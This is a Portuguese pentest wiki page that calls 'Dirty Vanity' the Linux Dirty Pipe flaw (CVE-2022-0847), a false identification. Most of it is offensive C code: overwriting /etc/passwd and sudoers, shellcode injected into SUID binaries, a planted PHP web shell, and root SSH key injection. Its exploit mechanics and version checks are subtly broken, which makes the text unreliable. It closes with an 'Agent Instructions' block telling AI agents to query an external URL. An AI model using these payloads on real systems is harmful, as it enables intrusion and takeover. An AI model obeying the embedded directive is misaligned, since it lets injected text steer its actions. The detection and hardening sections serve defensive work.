# Dirty Vanity

## 📑 **Índice**

1. [Fundamentos do Dirty Vanity](#-fundamentos-do-dirty-vanity)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Implementação em C](#-implementação-em-c)
5. [Ferramentas e Detecção](#-ferramentas-e-detecção)
6. [Mitigação e Prevenção](#-mitigação-e-prevenção)
7. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Dirty Vanity**

### **O que é Dirty Vanity?**

Dirty Vanity (também conhecido como Dirty Pipe - CVE-2022-0847) é uma vulnerabilidade do kernel Linux que permite que usuários não privilegiados escrevam em arquivos somente leitura, incluindo binários SUID e arquivos do sistema. A vulnerabilidade reside na implementação do mecanismo de pipes (tubos) do Linux, permitindo que um atacante injete dados arbitrários em páginas de cache do kernel.

### **Contexto Histórico**

```yaml
CVE-2022-0847 (Dirty Pipe):
  Data de descoberta: Fevereiro 2022
  Data de divulgação: Março 2022
  Afeta: Linux kernel 5.8 até 5.16.11, 5.15.25, 5.10.102
  Impacto: Escalonamento de privilégios local
  Similar a: Dirty Cow (CVE-2016-5195)
  Status: Patch disponível, sistemas atualizados estão seguros
```

### **Princípio Básico**

```mermaid
graph TD
    A[Atacante] --> B[Cria pipe]
    B --> C[Escreve dados no pipe]
    C --> D[Libera pipe]
    D --> E[Páginas do cache do kernel são corrompidas]
    E --> F[Arquivo alvo é modificado]
    F --> G[Execução de binário SUID modificado]
    G --> H[Root shell]
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Como o Dirty Pipe Funciona?**

```c
// Conceito: O kernel mantém páginas em cache para arquivos
// O pipe permite manipular essas páginas de forma incorreta

/*
1. Criar um pipe com capacidade para uma página
2. Escrever dados arbitrários no pipe
3. Esvaziar o pipe (mas a página permanece no cache)
4. Usar o splice() ou tee() para acoplar a página a um arquivo
5. A página corrompida é escrita no arquivo alvo
*/
```

### **Estruturas do Kernel Envolvidas**

```c
// Estrutura de página do kernel
struct page {
    unsigned long flags;
    struct address_space *mapping;
    void *virtual;
    // ...
};

// Estrutura do pipe
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
};
```

### **Fluxo de Exploração**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant P as Pipe (user space)
    participant K as Kernel
    participant F as Arquivo Alvo

    A->>P: pipe() - cria pipe
    A->>P: write(data) - escreve dados
    P->>K: Aloca página no cache
    K-->>P: Página alocada
    
    A->>P: read() - esvazia pipe
    P->>K: Libera página
    K->>K: Página permanece no cache
    
    A->>K: splice(arquivo, pipe)
    K->>K: Página corrompida é acoplada
    K->>F: Dados são escritos no arquivo
    F-->>A: Arquivo modificado
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Exploit Básico do Dirty Pipe**

```c
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/syscall.h>

#define PAGE_SIZE 4096

int main(int argc, char **argv) {
    if (argc != 3) {
        fprintf(stderr, "Uso: %s <arquivo> <conteudo>\n", argv[0]);
        return 1;
    }
    
    const char *filename = argv[1];
    const char *content = argv[2];
    size_t content_size = strlen(content);
    
    int fd = open(filename, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    // Criar pipe
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("pipe");
        return 1;
    }
    
    // Escrever dados no pipe (preparar página)
    write(pipefd[1], "x", 1);
    
    // Esvaziar pipe (página permanece no cache)
    char tmp[PAGE_SIZE];
    read(pipefd[0], tmp, PAGE_SIZE);
    
    // Escrever conteúdo no pipe
    write(pipefd[1], content, content_size);
    
    // Acoplar página ao arquivo
    ssize_t n = splice(pipefd[0], NULL, fd, NULL, content_size, 0);
    if (n < 0) {
        perror("splice");
        return 1;
    }
    
    printf("[+] Conteúdo escrito em %s\n", filename);
    
    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);
    
    return 0;
}
```

### **2. Exploit para Escalonamento de Privilégios**

```c
// dirty_pipe_priv_esc.c
// Exploit para escalar privilégios via /etc/passwd

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>

#define PAGE_SIZE 4096

void die(const char *msg) {
    perror(msg);
    exit(1);
}

int main() {
    const char *target = "/etc/passwd";
    const char *new_entry = "dirtyvanity:x:0:0:root:/root:/bin/bash\n";
    
    // Fazer backup do /etc/passwd original
    system("cp /etc/passwd /tmp/passwd.bak");
    
    int fd = open(target, O_RDONLY);
    if (fd < 0) die("open");
    
    int pipefd[2];
    if (pipe(pipefd) < 0) die("pipe");
    
    // Preparar página no cache
    write(pipefd[1], "x", 1);
    char tmp[PAGE_SIZE];
    read(pipefd[0], tmp, PAGE_SIZE);
    
    // Escrever nova entrada
    write(pipefd[1], new_entry, strlen(new_entry));
    
    // Acoplar e escrever
    if (splice(pipefd[0], NULL, fd, NULL, strlen(new_entry), 0) < 0) {
        die("splice");
    }
    
    printf("[+] /etc/passwd modificado!\n");
    printf("[+] Novo usuário: dirtyvanity: (senha vazia)\n");
    
    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);
    
    // Limpar cache e verificar
    sync();
    
    // Tentar fazer login como root
    printf("[+] Tentando escalar para root...\n");
    if (system("su - dirtyvanity") != 0) {
        // Se falhar, tentar com o binário modificado
        printf("[+] Tentando modificar /etc/sudoers\n");
        
        // Modificar /etc/sudoers para permitir sudo sem senha
        const char *sudoers_entry = "dirtyvanity ALL=(ALL:ALL) NOPASSWD:ALL\n";
        // (Código similar para modificar sudoers)
    }
    
    return 0;
}
```

### **3. Modificação de Binário SUID**

```c
// dirty_pipe_suid.c
// Modificar binário SUID para shell reverso

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PAGE_SIZE 4096

// Shellcode para execução de /bin/sh
char shellcode[] = 
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc4"
"\x48\x31\xc0\x50\x89\xe2\x48\x8d\x3d\x04\x00\x00\x00\x6a\x10\x5a"
"\x41\x52\x41\x52\x6a\x2a\x58\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05";

int main(int argc, char **argv) {
    if (argc != 2) {
        fprintf(stderr, "Uso: %s <binario_suid>\n", argv[0]);
        return 1;
    }
    
    const char *target = argv[1];
    
    // Verificar se é SUID
    struct stat st;
    if (stat(target, &st) != 0) {
        perror("stat");
        return 1;
    }
    
    if (!(st.st_mode & S_ISUID)) {
        printf("[-] O binário não é SUID!\n");
        return 1;
    }
    
    printf("[+] Modificando %s\n", target);
    
    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("pipe");
        return 1;
    }
    
    // Preparar página
    write(pipefd[1], "x", 1);
    char tmp[PAGE_SIZE];
    read(pipefd[0], tmp, PAGE_SIZE);
    
    // Escrever shellcode no início do binário
    write(pipefd[1], shellcode, sizeof(shellcode) - 1);
    
    // Acoplar
    if (splice(pipefd[0], NULL, fd, NULL, sizeof(shellcode) - 1, 0) < 0) {
        perror("splice");
        return 1;
    }
    
    printf("[+] Shellcode injetado!\n");
    printf("[+] Execute %s para obter shell root\n", target);
    
    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);
    
    return 0;
}
```

### **4. Exploit com Web Shell**

```c
// dirty_pipe_webshell.c
// Criar webshell em arquivo somente leitura

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv) {
    const char *webshell = "<?php system($_GET['cmd']); ?>";
    const char *target = "/var/www/html/index.php";
    
    // Verificar se arquivo existe
    if (access(target, F_OK) != 0) {
        printf("[-] Alvo não encontrado: %s\n", target);
        return 1;
    }
    
    printf("[+] Injetando webshell em %s\n", target);
    
    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("pipe");
        return 1;
    }
    
    // Preparar
    write(pipefd[1], "x", 1);
    char tmp[4096];
    read(pipefd[0], tmp, sizeof(tmp));
    
    // Escrever webshell
    write(pipefd[1], webshell, strlen(webshell));
    
    // Acoplar
    if (splice(pipefd[0], NULL, fd, NULL, strlen(webshell), 0) < 0) {
        perror("splice");
        return 1;
    }
    
    printf("[+] Webshell criada!\n");
    printf("[+] Acesse: http://target.com/index.php?cmd=id\n");
    
    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);
    
    return 0;
}
```

### **5. Exploit com SSH Authorized Keys**

```c
// dirty_pipe_ssh.c
// Adicionar chave SSH em authorized_keys

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main() {
    const char *ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... root@attacker\n";
    const char *target = "/root/.ssh/authorized_keys";
    
    // Criar diretório se não existir
    mkdir("/root/.ssh", 0700);
    
    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        // Se não existe, criar
        fd = open(target, O_RDWR | O_CREAT, 0600);
        if (fd < 0) {
            perror("open");
            return 1;
        }
        write(fd, ssh_key, strlen(ssh_key));
        close(fd);
        printf("[+] Chave SSH adicionada!\n");
        return 0;
    }
    
    // Se existe, modificar via Dirty Pipe
    int pipefd[2];
    pipe(pipefd);
    
    write(pipefd[1], "x", 1);
    char tmp[4096];
    read(pipefd[0], tmp, sizeof(tmp));
    
    write(pipefd[1], ssh_key, strlen(ssh_key));
    
    if (splice(pipefd[0], NULL, fd, NULL, strlen(ssh_key), 0) < 0) {
        perror("splice");
        return 1;
    }
    
    printf("[+] Chave SSH adicionada ao authorized_keys!\n");
    
    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);
    
    return 0;
}
```

***

## 🔧 **Implementação em C**

### **Exploit Completo com Detecção de Versão**

```c
// dirty_vanity_full.c
// Exploit completo com detecção de versão do kernel

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/utsname.h>

#define PAGE_SIZE 4096

// Estrutura de versão do kernel
struct kernel_version {
    int major;
    int minor;
    int patch;
};

// Verificar se kernel é vulnerável
int is_vulnerable() {
    struct utsname u;
    uname(&u);
    
    struct kernel_version kv = {0};
    sscanf(u.release, "%d.%d.%d", &kv.major, &kv.minor, &kv.patch);
    
    printf("[*] Kernel version: %s\n", u.release);
    
    // Versões vulneráveis: 5.8 - 5.16.11, 5.15.25, 5.10.102
    if (kv.major == 5 && kv.minor >= 8 && kv.minor <= 16) {
        if (kv.minor == 16 && kv.patch > 11) {
            printf("[-] Versão patched (5.16.%d)\n", kv.patch);
            return 0;
        }
        return 1;
    }
    
    if (kv.major == 5 && kv.minor == 15 && kv.patch <= 25) {
        return 1;
    }
    
    if (kv.major == 5 && kv.minor == 10 && kv.patch <= 102) {
        return 1;
    }
    
    printf("[-] Kernel não vulnerável ou já patched\n");
    return 0;
}

// Função principal de escrita via Dirty Pipe
int dirty_pipe_write(const char *filename, off_t offset, const char *data, size_t data_size) {
    int fd = open(filename, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return -1;
    }
    
    int pipefd[2];
    if (pipe(pipefd) < 0) {
        perror("pipe");
        close(fd);
        return -1;
    }
    
    // Preparar página no cache
    if (write(pipefd[1], "x", 1) != 1) {
        perror("write");
        close(fd);
        close(pipefd[0]);
        close(pipefd[1]);
        return -1;
    }
    
    char tmp[PAGE_SIZE];
    if (read(pipefd[0], tmp, PAGE_SIZE) != 1) {
        perror("read");
        close(fd);
        close(pipefd[0]);
        close(pipefd[1]);
        return -1;
    }
    
    // Escrever dados no pipe
    if (write(pipefd[1], data, data_size) != data_size) {
        perror("write data");
        close(fd);
        close(pipefd[0]);
        close(pipefd[1]);
        return -1;
    }
    
    // Acoplar página ao arquivo
    if (splice(pipefd[0], NULL, fd, NULL, data_size, 0) < 0) {
        perror("splice");
        close(fd);
        close(pipefd[0]);
        close(pipefd[1]);
        return -1;
    }
    
    close(fd);
    close(pipefd[0]);
    close(pipefd[1]);
    
    return 0;
}

// Escalonamento via /etc/passwd
int escalate_passwd() {
    const char *new_user = "dirtyvanity:x:0:0:root:/root:/bin/bash\n";
    
    printf("[*] Tentando modificar /etc/passwd...\n");
    
    if (dirty_pipe_write("/etc/passwd", 0, new_user, strlen(new_user)) != 0) {
        printf("[-] Falha ao modificar /etc/passwd\n");
        return -1;
    }
    
    printf("[+] /etc/passwd modificado com sucesso!\n");
    printf("[+] Novo usuário: dirtyvanity (senha vazia)\n");
    
    return 0;
}

// Escalonamento via /etc/sudoers
int escalate_sudoers() {
    const char *sudoers_line = "dirtyvanity ALL=(ALL:ALL) NOPASSWD:ALL\n";
    
    printf("[*] Tentando modificar /etc/sudoers...\n");
    
    if (dirty_pipe_write("/etc/sudoers", 0, sudoers_line, strlen(sudoers_line)) != 0) {
        printf("[-] Falha ao modificar /etc/sudoers\n");
        return -1;
    }
    
    printf("[+] /etc/sudoers modificado com sucesso!\n");
    printf("[+] Usuário dirtyvanity pode executar sudo sem senha\n");
    
    return 0;
}

// Modificar binário SUID
int modify_suid_binary(const char *binary) {
    printf("[*] Tentando modificar %s...\n", binary);
    
    // Shellcode simples para /bin/sh
    const char *shellcode = 
        "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a"
        "\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc4"
        "\x48\x31\xc0\x50\x89\xe2\x48\x8d\x3d\x04\x00\x00\x00\x6a\x10\x5a"
        "\x41\x52\x41\x52\x6a\x2a\x58\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f"
        "\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57"
        "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05";
    
    if (dirty_pipe_write(binary, 0, shellcode, strlen(shellcode)) != 0) {
        printf("[-] Falha ao modificar binário\n");
        return -1;
    }
    
    printf("[+] Binário modificado com sucesso!\n");
    printf("[+] Execute %s para obter shell root\n", binary);
    
    return 0;
}

int main(int argc, char **argv) {
    printf("=== Dirty Vanity (CVE-2022-0847) Exploit ===\n");
    printf("https://dirtypipe.cm4all.com/\n\n");
    
    if (geteuid() == 0) {
        printf("[!] Você já é root!\n");
        return 0;
    }
    
    if (!is_vulnerable()) {
        printf("[-] Sistema não é vulnerável ao Dirty Pipe\n");
        return 1;
    }
    
    printf("[+] Sistema é vulnerável!\n\n");
    
    printf("Escolha uma opção:\n");
    printf("1. Escalonar via /etc/passwd\n");
    printf("2. Escalonar via /etc/sudoers\n");
    printf("3. Modificar binário SUID\n");
    printf("4. Modificar arquivo customizado\n");
    printf("Opção: ");
    
    int choice;
    scanf("%d", &choice);
    
    switch(choice) {
        case 1:
            escalate_passwd();
            break;
        case 2:
            escalate_sudoers();
            break;
        case 3: {
            char binary[256];
            printf("Caminho do binário SUID: ");
            scanf("%s", binary);
            modify_suid_binary(binary);
            break;
        }
        case 4: {
            char filename[256];
            char content[4096];
            printf("Arquivo alvo: ");
            scanf("%s", filename);
            printf("Conteúdo: ");
            scanf("%s", content);
            dirty_pipe_write(filename, 0, content, strlen(content));
            break;
        }
        default:
            printf("Opção inválida\n");
    }
    
    return 0;
}
```

***

## 🛠️ **Ferramentas e Detecção**

### **Script de Detecção (Bash)**

```bash
#!/bin/bash
# detect_dirty_pipe.sh

echo "=== Dirty Pipe (CVE-2022-0847) Detection ==="
echo ""

# Verificar versão do kernel
kernel_version=$(uname -r)
echo "[*] Kernel version: $kernel_version"

# Extrair versão principal
major=$(echo $kernel_version | cut -d. -f1)
minor=$(echo $kernel_version | cut -d. -f2)
patch=$(echo $kernel_version | cut -d. -f3 | cut -d- -f1)

vulnerable=0

if [[ $major -eq 5 ]]; then
    if [[ $minor -ge 8 && $minor -le 16 ]]; then
        if [[ $minor -eq 16 && $patch -le 11 ]]; then
            vulnerable=1
        elif [[ $minor -eq 15 && $patch -le 25 ]]; then
            vulnerable=1
        elif [[ $minor -eq 10 && $patch -le 102 ]]; then
            vulnerable=1
        elif [[ $minor -lt 16 ]]; then
            vulnerable=1
        fi
    fi
fi

if [[ $vulnerable -eq 1 ]]; then
    echo "[!] Kernel VULNERÁVEL ao Dirty Pipe!"
    echo "[!] Atualize imediatamente para:"
    echo "    - 5.16.11 ou superior"
    echo "    - 5.15.25 ou superior"
    echo "    - 5.10.102 ou superior"
else
    echo "[+] Kernel não é vulnerável ao Dirty Pipe"
fi

# Verificar se há binários SUID suspeitos
echo ""
echo "[*] Verificando binários SUID..."
find / -perm -4000 -type f 2>/dev/null | while read binary; do
    if [ -w "$binary" ]; then
        echo "[!] ALERTA: $binary é SUID e writable!"
    fi
done

# Verificar se /etc/passwd foi modificado
echo ""
echo "[*] Verificando integridade do /etc/passwd..."
if [ -f /tmp/passwd.bak ]; then
    if ! cmp -s /etc/passwd /tmp/passwd.bak; then
        echo "[!] ALERTA: /etc/passwd foi modificado!"
    else
        echo "[+] /etc/passwd parece íntegro"
    fi
fi
```

### **Ferramenta de Análise Forense**

```python
#!/usr/bin/env python3
# dirty_pipe_forensics.py

import os
import sys
import hashlib
import subprocess

class DirtyPipeForensics:
    """Ferramenta forense para detectar exploração do Dirty Pipe"""
    
    def __init__(self):
        self.suspicious_files = [
            '/etc/passwd',
            '/etc/shadow',
            '/etc/sudoers',
            '/etc/group',
            '/etc/ssh/sshd_config',
            '/root/.ssh/authorized_keys'
        ]
        
        self.suid_binaries = []
        
    def get_file_hash(self, filepath):
        """Calcular hash SHA256 do arquivo"""
        try:
            with open(filepath, 'rb') as f:
                return hashlib.sha256(f.read()).hexdigest()
        except:
            return None
    
    def check_file_integrity(self, filepath):
        """Verificar integridade do arquivo"""
        if not os.path.exists(filepath):
            return None
        
        current_hash = self.get_file_hash(filepath)
        
        # Verificar com backup se existir
        backup = f"{filepath}.bak"
        if os.path.exists(backup):
            backup_hash = self.get_file_hash(backup)
            if current_hash != backup_hash:
                return {
                    'file': filepath,
                    'status': 'MODIFIED',
                    'current_hash': current_hash,
                    'backup_hash': backup_hash
                }
        
        return {
            'file': filepath,
            'status': 'OK',
            'hash': current_hash
        }
    
    def find_suid_binaries(self):
        """Encontrar binários SUID"""
        result = subprocess.run(
            ['find', '/', '-perm', '-4000', '-type', 'f'],
            capture_output=True, text=True
        )
        
        for line in result.stdout.split('\n'):
            if line.strip():
                self.suid_binaries.append(line.strip())
    
    def check_suid_modifications(self):
        """Verificar modificações em binários SUID"""
        suspicious = []
        
        for binary in self.suid_binaries:
            # Verificar se o binário é writable (anormal para SUID)
            if os.access(binary, os.W_OK):
                suspicious.append({
                    'binary': binary,
                    'issue': 'SUID binary is writable'
                })
            
            # Verificar se contém shellcode suspeito
            try:
                with open(binary, 'rb') as f:
                    content = f.read()
                    # Verificar padrões de shellcode
                    if b'\x48\x31\xc0' in content:  # xor rax, rax
                        suspicious.append({
                            'binary': binary,
                            'issue': 'Possible shellcode detected'
                        })
            except:
                pass
        
        return suspicious
    
    def check_kernel_version(self):
        """Verificar versão do kernel"""
        result = subprocess.run(['uname', '-r'], capture_output=True, text=True)
        return result.stdout.strip()
    
    def run_forensics(self):
        """Executar análise forense completa"""
        print("=== Dirty Pipe Forensics ===")
        print()
        
        # Kernel version
        kernel = self.check_kernel_version()
        print(f"[*] Kernel version: {kernel}")
        
        # Verificar arquivos críticos
        print("\n[*] Verificando arquivos críticos...")
        for filepath in self.suspicious_files:
            result = self.check_file_integrity(filepath)
            if result:
                status = result.get('status', 'OK')
                if status == 'MODIFIED':
                    print(f"[!] ALERTA: {filepath} foi modificado!")
                else:
                    print(f"[+] {filepath}: OK")
        
        # Verificar binários SUID
        print("\n[*] Verificando binários SUID...")
        self.find_suid_binaries()
        suspicious = self.check_suid_modifications()
        
        for s in suspicious:
            print(f"[!] ALERTA: {s['binary']} - {s['issue']}")
        
        if not suspicious:
            print("[+] Nenhum binário SUID suspeito")
        
        # Verificar logs
        print("\n[*] Verificando logs do sistema...")
        log_check = subprocess.run(
            ['grep', '-i', 'dirty.*pipe', '/var/log/syslog'],
            capture_output=True, text=True
        )
        
        if log_check.stdout:
            print("[!] Logs suspeitos encontrados:")
            print(log_check.stdout[:500])
        else:
            print("[+] Nenhum log suspeito")
        
        print("\n[*] Análise concluída")

if __name__ == "__main__":
    forensics = DirtyPipeForensics()
    forensics.run_forensics()
```

***

## 🛡️ **Mitigação e Prevenção**

### **Atualização do Kernel**

```bash
# Debian/Ubuntu
sudo apt update
sudo apt upgrade linux-image-generic

# CentOS/RHEL
sudo yum update kernel

# Fedora
sudo dnf update kernel

# Arch Linux
sudo pacman -Syu

# Verificar versão após atualização
uname -r
```

### **Configurações de Segurança**

```bash
# Desabilitar módulos de kernel desnecessários
echo "install sctp /bin/false" >> /etc/modprobe.d/blacklist.conf
echo "install dccp /bin/false" >> /etc/modprobe.d/blacklist.conf

# Habilitar kernel hardening
cat >> /etc/sysctl.d/99-security.conf << EOF
kernel.kptr_restrict=2
kernel.dmesg_restrict=1
kernel.printk=3 3 3 3
kernel.randomize_va_space=2
EOF

sysctl -p /etc/sysctl.d/99-security.conf

# Configurar AppArmor/SELinux
# AppArmor
aa-enforce /usr/sbin/sshd
aa-enforce /usr/sbin/cron

# SELinux
setenforce 1
```

### **Monitoramento Contínuo**

```bash
# Monitorar integridade de arquivos com AIDE
apt install aide
aideinit
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Verificar integridade diariamente
echo "0 2 * * * root /usr/bin/aide --check" >> /etc/crontab

# Monitorar modificações em arquivos críticos
auditctl -w /etc/passwd -p wa -k passwd
auditctl -w /etc/shadow -p wa -k shadow
auditctl -w /etc/sudoers -p wa -k sudoers
auditctl -w /usr/bin/su -p x -k su_exec
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Kernel**
  * [ ] Atualizar para versão patched (5.16.11+, 5.15.25+, 5.10.102+)
  * [ ] Habilitar kernel hardening
  * [ ] Desabilitar módulos não utilizados
* [ ] **Arquivos**
  * [ ] Monitorar integridade de /etc/passwd, /etc/shadow, /etc/sudoers
  * [ ] Verificar binários SUID regularmente
  * [ ] Implementar backups de arquivos críticos
* [ ] **Monitoramento**
  * [ ] Configurar AIDE ou Tripwire
  * [ ] Habilitar auditd para arquivos críticos
  * [ ] Monitorar logs por padrões de exploração

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Verificar versão do kernel
  * [ ] Identificar binários SUID
  * [ ] Verificar permissões de arquivos críticos
* [ ] **Exploração**
  * [ ] Testar escrita em /etc/passwd
  * [ ] Testar modificação de binário SUID
  * [ ] Testar criação de webshell
* [ ] **Validação**
  * [ ] Verificar escalonamento de privilégios
  * [ ] Documentar arquivos modificados

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Dirty Vanity (CVE-2022-0847):
  ✅ Vulnerabilidade crítica do kernel Linux
  ✅ Permite escrita em arquivos somente leitura
  ✅ Leva a escalonamento de privilégios
  ✅ Afeta kernels 5.8 - 5.16

Defesas essenciais:
  ❌ Sistemas não atualizados são vulneráveis
  ✓ Atualizar kernel imediatamente
  ✓ Monitorar integridade de arquivos
  ✓ Implementar hardening do kernel
```

### **Recomendações Finais**

1. **Para Administradores**
   * Atualizar kernels imediatamente
   * Monitorar integridade de arquivos críticos
   * Implementar detecção de modificações
   * Manter backups de configurações
2. **Para Pentesters**
   * Verificar versão do kernel
   * Testar escrita em /etc/passwd
   * Buscar binários SUID vulneráveis
   * Documentar vetor de escalonamento
3. **Para Arquitetos**
   * Implementar isolamento de containers
   * Usar kernel hardening
   * Adotar políticas de atualização automática


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/dirty-vanity.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
